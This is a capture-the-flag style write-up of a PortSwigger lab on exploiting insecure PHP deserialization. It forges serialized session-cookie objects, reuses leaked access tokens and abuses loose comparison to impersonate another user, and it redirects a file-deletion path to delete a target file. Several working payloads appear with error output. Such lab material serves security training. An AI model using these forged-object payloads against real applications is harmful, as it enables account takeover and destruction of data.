On this page
Using Application Functionality to Exploit Insecure Deserialization
Lab
Using application functionality to exploit insecure deserialization · Apprentice
Solution
Given
This lab uses a serialization-based session mechanism. A certain feature invokes a dangerous method on data provided in a serialized object. To solve the lab, edit the serialized object in the session cookie and use it to delete the morale.txt file from Carlos's home directory.
You can log in to your own account using the following credentials: wiener:peter
You also have access to a backup account: gregg:rosebud
Analyzing the task
As in the previous lab, the cookie stores a serialized object with the user session. We need to forge it to get the morale.txt file deleted.
Recon
Let's see what the string looks like right now:
Set-Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ5Mnk5NDgyZ3JrNTloYzk3cDl5b2p6YWZrbnEzYTdndyI7czoxMToiYXZhdGFyX2xpbmsiO3M6MTk6InVzZXJzL3dpZW5lci9hdmF0YXIiO30%3d;
Decoded from Base64:
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"y2y9482grk59hc97p9yojzafknq3a7gw";s:11:"avatar_link";s:19:"users/wiener/avatar";}
We can see the path to the user's avatar here. Most likely, when the account is deleted, its avatar is deleted too.
Exploitation
We can change this path. We'll also need to replace the username, and use the technique from the previous lab — replace access_token with a number to exploit the PHP 0 == "string" returns true flaw and bypass its check.
A first attempt at the payload:
O:4:"User":3:{s:8:"username";s:6:"carlos";s:12:"access_token";i:0;s:11:"avatar_link";s:23:"users/carlos/morale.txt";}
We got this error:
PHP Fatal error: Uncaught Exception: (DEBUG: $access_tokens[$user->username] = s6z1ycke3hy270rh0gjz1khugfv1uhai, $user->access_token = 0, $access_tokens = [s6z1ycke3hy270rh0gjz1khugfv1uhai, xronwvnui1pac24shhu3reit5nur26bc, y2y9482grk59hc97p9yojzafknq3a7gw]) Invalid access token for user carlos in /var/www/index.php:8 Stack trace: #0 {main} thrown in /var/www/index.php on line 8
Interesting — the tokens are hardcoded right in the code, and there's debug code. Looks like Carlos's token is s6z1ycke3hy270rh0gjz1khugfv1uhai. Let's try it.
Payload:
O:4:"User":3:{s:8:"username";s:6:"carlos";s:12:"access_token";s:32:"s6z1ycke3hy270rh0gjz1khugfv1uhai";s:11:"avatar_link";s:23:"users/carlos/morale.txt";}
Now we're carlos. Delete ourselves — error:
Internal Server Error
PHP Warning: file_put_contents(users/carlos/disabled): failed to open stream: No such file or directory in /home/carlos/User.php on line 45 PHP Fatal error: Uncaught Exception: Could not write to users/carlos/disabled in /home/carlos/User.php:46 Stack trace: #0 Command line code(5): User->delete() #1 {main} thrown in /home/carlos/User.php on line 46
Looks like something is off with the path. This one finally worked:
O:4:"User":3:{s:8:"username";s:6:"carlos";s:12:"access_token";s:32:"s6z1ycke3hy270rh0gjz1khugfv1uhai";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
Lab solved!
More in this category
Modifying Serialized Data Types (PortSwigger Lab)
Abusing PHP loose comparison by changing the `access_token` type to integer `0` to bypass authentication.
Modifying Serialized Objects (PortSwigger Lab)
Flipping the `admin` boolean inside a PHP-serialized session cookie to gain administrative privileges.
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.